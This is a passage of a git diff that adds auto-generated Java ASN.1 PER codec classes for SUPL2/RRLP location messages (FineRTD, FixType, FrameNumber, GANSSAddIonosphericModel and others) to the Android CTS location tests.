+ public void setSmlc_code(Asn1Object value) {
+ this.smlc_code_ = (Extended_reference.smlc_codeType) value;
+ }
+ public Extended_reference.smlc_codeType setSmlc_codeToNewInstance() {
+ smlc_code_ = new Extended_reference.smlc_codeType();
+ return smlc_code_;
+ }
+
+ private Extended_reference.transaction_IDType transaction_ID_;
+ public Extended_reference.transaction_IDType getTransaction_ID() {
+ return transaction_ID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference.transaction_IDType
+ */
+ public void setTransaction_ID(Asn1Object value) {
+ this.transaction_ID_ = (Extended_reference.transaction_IDType) value;
+ }
+ public Extended_reference.transaction_IDType setTransaction_IDToNewInstance() {
+ transaction_ID_ = new Extended_reference.transaction_IDType();
+ return transaction_ID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSmlc_code() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSmlc_code();
+ }
+
+ @Override public void setToNewInstance() {
+ setSmlc_codeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.smlc_codeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "smlc_code : "
+ + getSmlc_code().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTransaction_ID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTransaction_ID();
+ }
+
+ @Override public void setToNewInstance() {
+ setTransaction_IDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.transaction_IDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "transaction_ID : "
+ + getTransaction_ID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class smlc_codeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_smlc_codeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public smlc_codeType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_smlc_codeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_smlc_codeType != null) {
+ return ImmutableList.of(TAG_smlc_codeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new smlc_codeType from encoded stream.
+ */
+ public static smlc_codeType fromPerUnaligned(byte[] encodedBytes) {
+ smlc_codeType result = new smlc_codeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new smlc_codeType from encoded stream.
+ */
+ public static smlc_codeType fromPerAligned(byte[] encodedBytes) {
+ smlc_codeType result = new smlc_codeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "smlc_codeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class transaction_IDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_transaction_IDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public transaction_IDType() {
+ super();
+ setValueRange("0", "262143");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_transaction_IDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_transaction_IDType != null) {
+ return ImmutableList.of(TAG_transaction_IDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new transaction_IDType from encoded stream.
+ */
+ public static transaction_IDType fromPerUnaligned(byte[] encodedBytes) {
+ transaction_IDType result = new transaction_IDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new transaction_IDType from encoded stream.
+ */
+ public static transaction_IDType fromPerAligned(byte[] encodedBytes) {
+ transaction_IDType result = new transaction_IDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "transaction_IDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Extended_reference = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java
new file mode 100755
index 0000000..9432e9d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FineRTD.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FineRTD extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_FineRTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FineRTD() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FineRTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FineRTD != null) {
+ return ImmutableList.of(TAG_FineRTD);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FineRTD from encoded stream.
+ */
+ public static FineRTD fromPerUnaligned(byte[] encodedBytes) {
+ FineRTD result = new FineRTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FineRTD from encoded stream.
+ */
+ public static FineRTD fromPerAligned(byte[] encodedBytes) {
+ FineRTD result = new FineRTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FineRTD = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java
new file mode 100755
index 0000000..7f5024b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FixType.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FixType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_FixType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FixType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FixType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FixType != null) {
+ return ImmutableList.of(TAG_FixType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FixType from encoded stream.
+ */
+ public static FixType fromPerUnaligned(byte[] encodedBytes) {
+ FixType result = new FixType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FixType from encoded stream.
+ */
+ public static FixType fromPerAligned(byte[] encodedBytes) {
+ FixType result = new FixType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FixType = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java
new file mode 100755
index 0000000..1f5143f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameDrift.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FrameDrift extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_FrameDrift
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FrameDrift() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FrameDrift;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FrameDrift != null) {
+ return ImmutableList.of(TAG_FrameDrift);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FrameDrift from encoded stream.
+ */
+ public static FrameDrift fromPerUnaligned(byte[] encodedBytes) {
+ FrameDrift result = new FrameDrift();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FrameDrift from encoded stream.
+ */
+ public static FrameDrift fromPerAligned(byte[] encodedBytes) {
+ FrameDrift result = new FrameDrift();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FrameDrift = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java
new file mode 100755
index 0000000..41cec65
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/FrameNumber.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FrameNumber extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_FrameNumber
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FrameNumber() {
+ super();
+ setValueRange("0", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FrameNumber;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FrameNumber != null) {
+ return ImmutableList.of(TAG_FrameNumber);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new FrameNumber from encoded stream.
+ */
+ public static FrameNumber fromPerUnaligned(byte[] encodedBytes) {
+ FrameNumber result = new FrameNumber();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FrameNumber from encoded stream.
+ */
+ public static FrameNumber fromPerAligned(byte[] encodedBytes) {
+ FrameNumber result = new FrameNumber();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FrameNumber = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
new file mode 100755
index 0000000..f8e8833
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddIonosphericModel.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSAddIonosphericModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSAddIonosphericModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAddIonosphericModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAddIonosphericModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAddIonosphericModel != null) {
+ return ImmutableList.of(TAG_GANSSAddIonosphericModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAddIonosphericModel from encoded stream.
+ */
+ public static GANSSAddIonosphericModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAddIonosphericModel result = new GANSSAddIonosphericModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAddIonosphericModel from encoded stream.
+ */
+ public static GANSSAddIonosphericModel fromPerAligned(byte[] encodedBytes) {
+ GANSSAddIonosphericModel result = new GANSSAddIonosphericModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSAddIonosphericModel.dataIDType dataID_;
+ public GANSSAddIonosphericModel.dataIDType getDataID() {
+ return dataID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAddIonosphericModel.dataIDType
+ */
+ public void setDataID(Asn1Object value) {
+ this.dataID_ = (GANSSAddIonosphericModel.dataIDType) value;
+ }
+ public GANSSAddIonosphericModel.dataIDType setDataIDToNewInstance() {
+ dataID_ = new GANSSAddIonosphericModel.dataIDType();
+ return dataID_;
+ }
+
+ private IonosphericModel ionoModel_;
+ public IonosphericModel getIonoModel() {
+ return ionoModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel
+ */
+ public void setIonoModel(Asn1Object value) {
+ this.ionoModel_ = (IonosphericModel) value;
+ }
+ public IonosphericModel setIonoModelToNewInstance() {
+ ionoModel_ = new IonosphericModel();
+ return ionoModel_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getDataID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDataID();
+ }
+
+ @Override public void setToNewInstance() {
+ setDataIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAddIonosphericModel.dataIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dataID : "
+ + getDataID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonoModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonoModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonoModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionoModel : "
+ + getIonoModel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dataIDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_dataIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dataIDType() {
+ super();
+ setMinSize(2);
+setMaxSize(2);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dataIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dataIDType != null) {
+ return ImmutableList.of(TAG_dataIDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dataIDType from encoded stream.
+ */
+ public static dataIDType fromPerUnaligned(byte[] encodedBytes) {
+ dataIDType result = new dataIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dataIDType from encoded stream.
+ */
+ public static dataIDType fromPerAligned(byte[] encodedBytes) {
+ dataIDType result = new dataIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dataIDType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAddIonosphericModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
new file mode 100755
index 0000000..e0ba6d3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAddUTCModel.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAddUTCModel extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GANSSAddUTCModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
